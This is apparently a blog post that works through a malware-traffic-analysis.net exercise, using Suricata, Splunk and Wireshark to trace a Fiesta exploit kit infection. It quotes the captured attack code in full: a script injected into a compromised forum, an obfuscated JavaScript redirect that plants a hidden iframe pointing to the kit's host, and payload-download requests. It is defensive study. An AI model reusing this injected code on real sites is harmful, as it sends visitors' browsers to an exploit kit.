Malware Traffic Analysis Using Splunk and Suricata
Inspired by 505forensics and his latest blog post, I thought it would be an interesting exercise to run through some exercises from http://malware-traffic-analysis.net/ in Splunk.
Configuring Splunk
To begin, let's grab the PCAP for their latest PCAP analysis exercise. I spun up a new box and installed Suricata on there, which pulled the latest rules from Emerging Threats. I also installed a Splunk Forwarder on there so I could quickly index the generated log files from Suricata into my Splunk Indexer.
I started by running the command below to tell Suricata to use the suricata.yaml configuration file, then to read the latest PCAP, and output it to /opt/splunk_logs
.
suricata -c /etc/suricata/suricata.yaml -r 2015-03-24-traffic-analysis-exercise.pcap \
-l /opt/splunk_logs/
Now that we have generated our logs, we'll need to do some prep work in Splunk to extract the necessary fields from the logs. This can be done by editing the props.conf
and transforms.conf
files in Splunk. This can either be done from an app you create to deal with this, but for our purposes we'll be doing this /opt/splunk/etc/system/local
.
Let's first crack open props.conf.
[suricata]
REPORT-suricata_extracts = extract_rule, extract_class, extract_src_ip_port, extract_dst_ip_port
SHOULD_LINEMERGE = false
TRUNCATE=5000
Not much is going into this, we're just specifying the sourcetype we want to apply the configurations to with [suricata]
, then we are enabling the extractions we are going to make in transforms.conf with the REPORT-suricata_extracts
line. Splunk is very good at determining where to do line-breaks, so we don't need to dive into that, but, if the events were getting smashed together, we would fix that here.
Next, let's start working on some regex's for our transforms.conf:
[extract_rule]
REGEX = \[\*\*\]\s\[\d*:\d*:\d*]\s(?<rule>[^\[\*\*\]]+)
[extract_class]
REGEX = Classification:\s(?<classification>[^\]]+)
[extract_src_ip_port]
REGEX = Priority:\s\d*\]\s\{\w+\}\s(?<src_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(?<src_port>[^\s]+)
[extract_dst_ip_port]
REGEX = \-\>\s(?<dst_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(?<dst_port>\d+)
The above is just specifying the extractions we want, and you can see the stanza name matches the values in the props.conf for our extracts. With these extracts, we are pulling the fields that will most likely help us during our investigation.
So, with the above configuration files set, let's restart Splunk and ingest our log file into Splunk.
/opt/splunk/bin/splunk restart
/opt/splunkforwarder/bin/splunk add oneshot /opt/splunk_logs/fast.log \
-index suricata_logs -sourcetype suricata
The above command will send our log file into Splunk one time and not continue to monitor the file, we also specify the index we want our logs to go into, which is suricata_logs
and then the sourcetype, suricata
which is the sourcetype we applied our extracts to.
Moving over to the Splunk side now...
Let's check out a timeline of events from our PCAP:
sourcetype=suricata rule!="*suricata*" | timechart count by rule
Note: The rule!="*suricata*" is there to prevent rules with Suricata in the title from appearing, since they were throwing off the chart.
Looking at the screenshot, we can see the start of events, and then the subsequent malicious activity that follows. Next, let's try to visualize these events in another way.
sourcetype=suricata rule!="\*suricata\*" | table rule, _time, src_ip, src_port, dst_ip, dst_port
With this screenshot, we can see a little more clearly what is happening. At 09:49:11 on 2015-03-24, we can see the victim (192.168.122.200) issuing a GET request to a Fiesta Exploit Kit (EK) landing page (205.234.186.113). Now that we have a starting time, let's check out this PCAP in Wireshark.
Using Wireshark
Looking at events around our start time, we start by checking out Packet No. 4117, and select "Follow TCP Stream". This brings up our stream, and we see that the victim was browsing hxxp://forums.xxxxxxparts.com/porsche-928-technical-forum/. At the top of of this page sits some malicious JavaScript, which looks like this:
<!-- PRNG for DFP -->
<script language="Javascript">
<!--
var axel = Math.random() + "";
var ord = axel * 1000000000000000000;
//-->
</script>
<!-- End PRNG for DFP WayneTest-->
<script type="text/javascript" src="http://jautnesy.com/QO-hPoN-/xouh_LOHgX-/xYOH-tX/TLnryMWh.php?
2E-G1J=9bVn7N797l616&Uja-3=bV5-04-3dM1_e7y&7_n-OXw=Z693Rc_dJb4aIJaY"></script>
The site http://jautnesy.com/QO-hPoN-/xouh_LOHgX-/xYOH-tX/TLnryMWh.php?2E-G1J=9bVn7N797l616&Uja-3=bV5-04-3dM1_e7y&7_n-OXw=Z693Rc_dJb4aIJaY is a staging URL for the Fiesta malware, and once they go to this site, they get served with this JS redirect:
rocqMJFwupIh='navigator';jOtLpoEiAUeNV='document';YTypnCVMXetZ=window;ASLiFOpxGMdlY
=YTypnCVMXetZ[jOtLpoEiAUeNV];KkncOuFbQqTyR=YTypnCVMXetZ[rocqMJFwupIh];var
koQpBLMfJTbih=window;gQfPbLqcIMas='http:/'+'/forpa'+'gesear'+'ch.eu/'+'u2b871'
+'hi/RMt'+'PEeENI'+'z3RGmD'+'A2Ruk';var doc=koQpBLMfJTbih.document;OBeTyrIbKWLVR=gQfPbLqcIMas;
function setCookie(name,value,expires){doc.cookie=name+'='+escape(value)+";
expires="+expires.toGMTString()+"; path=/";return;}function getCookie(name)
{var cookie=' '+doc.cookie;var search=' '+name+'=';var setStr=null;var
offset = 0;var end = 0;if (cookie.length > 0) {offset = cookie.indexOf
(search);if (offset != -1) {offset += search.length;end = cookie.indexOf
(';', offset);if (end == -1) {end = cookie.length;}setStr = koQpBLMfJTbih.unescape(cookie.
substring(offset, end));}}return setStr;}
function BYNQLvnEHtAuq(){if(!getCookie("BTpvVPIMbw")){var expires=new
Date();expires.setTime(expires.getTime()+0x5265c00);setCookie("BTpvVPIMbw"
,'8d77df0c2a005973fde28c4ae61e5d85',expires);return true}else{return false}
}function CsZiNarKdlTb(j7r){var w9
,f5h,av,l1,a1;l1='onl'+'oad';av='ad'+'dEv'+'entListe'+'ner';f5h='att'+
'achEve'+'nt';a1=window;w9='DOMCo'+'ntentL'+'oad'+'ed';ASLiFOpxGMdlY[av]
?ASLiFOpxGMdlY[av](w9,j7r):a1[f5h](l1,j7r)}function jRWdsAuvVktTH(){var
qy;qy='user'+'Age'+'nt';return KkncOuFbQqTyR[qy]}function DZRelCsfuXMnL
(y0l,np1){var p7;p7='te'+'st';return y0l[p7](np1)}function dzgqAnbWXQhK
(){var fq;fq=jRWdsAuvVktTH();return DZRelCsfuXMnL(/Win64;/i,fq)||DZRelCsfuXMnL
(/x64;/i,fq)}function HMOmCuhQYjx()
{var ai,be;be=(/Trident/i);ai=jRWdsAuvVktTH();if(!DZRelCsfuXMnL(be,ai)){return
0}else{return true}}function mPshdHNVTlcUq(){var jq6,u0u,l2,hn,r7c,qt7,y1,nmv,fa,bv,ag,
cun,zu5,pqe;bv='po'+'si'+'tio'+'n:a'+'bs'
+'olut'+'e;le'+'ft:-15'+'23px;t'+'op:'+'-153'+'7px';nmv='s'+'rc';y1='if'+'r'+
'a'+'me';u0u='cssT'+'ext';l2='g'+'etEl'+'em'+'ent'+'sBy'+'Ta'+'gN'+'am'+'e';
cun='bo'+'dy';qt7='width';fa='he'+'ight';pqe='app'+'end'+'Ch'+'ild';hn='crea'
+'te'+'Ele'+'me'+'nt';r7c='s'+'tyle';ag='10';if(BYNQLvnEHtAuq()&&HMOmCuhQYjx()
&&!dzgqAnbWXQhK()){jq6=ag;zu5=ASLiFOpxGMdlY[hn](y1);zu5[qt7]=jq6;zu5[fa]=jq6;zu5[r7c][u0u]=bv;zu5
[nmv]=OBeTyrIbKWLVR;ASLiFOpxGMdlY[l2](cun)[0][pqe](zu5)}}CsZiNarKdlTb(mPshdHNVTlcUq);
Looking at the JavaScript above, we can see near the beginning this little snippet:
http:/'+'/forpa'+'gesear'+'ch.eu/'+'u2b871'
+'hi/RMt'+'PEeENI'+'z3RGmD'+'A2Ruk'
Which is redirecting users to forpagesearch.eu, seen below:
GET /u2b871hi/RMtPEeENIz3RGmDA2Ruk HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml,
image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Referer: http://forums.xxxxxxxparts.com/porsche-928-technical-forum/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Accept-Encoding: gzip, deflate
Host: forpagesearch.eu
Connection: Keep-Alive
On the forpagesearch.eu site, we see some text, followed by some encoded Javascript...
<script type='text/javascript'>
function echoz(ji){var clc,gts,bt,wzs;bt='';clc=0;wzs='subs';for(;clc<ji.length;
clc+=2){gts=ji[wzs+'tr'](clc,2);bt=swap3(bt,dogst(gts,16))}return bt}function swap3
(dg,jj){return(dg+String.fromCharCode(jj))}function limpmi(tv,zg,wxl){var
uz,pn1,m6,o0;o0=''; pn1=0;m6=0;while(m6<tv.length {pn1=pn1+zg;uz=wxl.indexOf(cows8(tv,m6));uz
=(uz+pn1)%wxl.length;o0+=cows8(wxl,uz);m6++}return o0}function
cows8(py,ctp){var r2m;r2m='charAt';return py[r2m](ctp)}function
sled7(lcq,p7h){var g;g=limpmi(lcq,p7h,'80etfMR726Ija9w+B=H3lovy5dCsxc4b1q')
;return echoz(g)} mote1h=19;pipsld=sled7('51l5wbab2of21e4R5R',mote1h);birdk=28;
wicka=sled7('99s3tC=ocM7R=0',birdk);sarip8=25;cocaa=sled7
('H4e8Hcfe6aR25v2BCoI8x5',sarip8);heird=21;ruthp=sled7
('vvwvRc4C53BI2w18',heird);gets0=window;joltqw=gets0[ruthp];
shew1=gets0[pipsld];bump4=shew1[wicka];function sesep(){var p38,c7;p38=13;c7=sled7
('x1e0awHR+feoIaH158',p38);return shew1[c7]}
function dogst(ov,bxq){var nny;nny=ov;nny=parseInt(nny,bxq);return
nny}function wavyoq(pt,jj9){var mxd,onm;onm=15;mxd=sled7('C8118bfa',
onm);return pt[mxd](jj9)}function roesu(){var r9;r9=sesep();return wavyoq(/Win64;/i,r9)||
wavyoq(/x64;/i,r9)}function copedp(dh){return typeof dh!='undefined'}
function gyrop(xi){var as,lcj,owt,j8,ujw,qe,vl1,cuz,kl5,zfb,dg;lcj=28;dg=sled7
('+Iddtt=fcx78R0bx63o9qC',lcj);j8=16;ujw=sled7('s1c=c+',j8);owt=20;qe=sled7
('y9+4jRM2b8sv2B++6ftqbCd1=l',owt);kl5=21;vl1=sled7('vMwlRa1Cvetly2oc9d',kl5)
;zfb=24;as=sled7('3xMIdv6d',zfb);cuz=joltqw[qe](ujw);joltqw[as][dg](cuz);cuz[vl1]=xi}function
roupi(gqc){var bb,yv,c7,dfn,qm,h,kr,upm,
Shortened for brevity
forpagesearch.eu drops a few malicious payloads, a Flash file, a PDF, a silverlight file, and a Java archive, as seen in Splunk:
GET /u2b871hi/735518cd91383446030a020e030351560e04050e055a535f02060404075b0653;112202;228 HTTP/1.1
Accept: */*
Accept-Language: en-US
Referer: http://forpagesearch.eu/u2b871hi/RMtPEeENIz3RGmDA2Ruk
x-flash-version: 11,2,202,228
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729;
.NET CLR 3.0.30729; Media Center PC 6.0)
Host: forpagesearch.eu
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/1.4.4
Date: Tue, 24 Mar 2015 13:55:52 GMT
Content-Type: application/x-shockwave-flash
Content-Length: 10462
Connection: close
Last-Modified: Tue, 24 Mar 2015 13:55:52 GMT
Content-Disposition: inline; filename=jhnrikg54.swf
GET /u2b871hi/69d0dec0c40d6ab84555120b565e51020f0e540b5007530b030c550152060607;4060310 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0;
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0)
Host: forpagesearch.eu
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/1.4.4
Date: Tue, 24 Mar 2015 13:55:53 GMT
Content-Type: application/x-silverlight-app
Content-Length: 10793
Connection: close
Last-Modified: Tue, 24 Mar 2015 13:55:53 GMT
Content-Disposition: inline; filename=mtuksijh27.xap
GET /u2b871hi/59c86f96360a8c4a59500103045d0b040c0e53030204090d000c520900055c01;910 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64;
Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0)
Host: forpagesearch.eu
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.4.4
Date: Tue, 24 Mar 2015 13:55:53 GMT
Content-Type: application/pdf
Content-Length: 7996
Connection: close
Content-Disposition: inline; filename=cvfksjya09.pdf
GET /u2b871hi/767aa23042721a9b5644565a530901020e01075a5550030b0203065057515607 HTTP/1.1
accept-encoding: pack200-gzip, gzip
content-type: application/x-java-archive
User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.6.0_25
Host: forpagesearch.eu
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.4.4
Date: Tue, 24 Mar 2015 13:56:08 GMT
Content-Type: application/java-archive
Content-Length: 5201
Connection: close
Last-Modified: Tue, 24 Mar 2015 13:56:08 GMT
Content-Disposition: inline; filename=uobnrcwe30.jar
The Answers
Let's see if we have enough information to answer the questions from the site:
- What is the host name of the Windows computer that gets infected? GERONIMO-PC
- What is the IP address of the Windows computer that gets infected? 192.168.122.200
- What is the MAC address of the Windows computer that gets infected? 53:54:00:d5:2f:a2
- What exploit kit (EK) infected the computer? (Angler, Fiesta, Nuclear, Neutrino, Rig?) Fiesta EK
- What compromised website kicked off a chain of events leading to the exploit kit? hxxp://forums.xxxxxxxparts.com
- What is the IP address and domain name of the exploit kit?
205.234.186.113 and forpagesearch.eu
Hopefully that covers anything, and if I missed anything, please let me know. Also, really big thanks to @505forensics for his post and inspiring me to write something similiar.
If I missed anything, or spoke incorrectly about anything, please comment down below.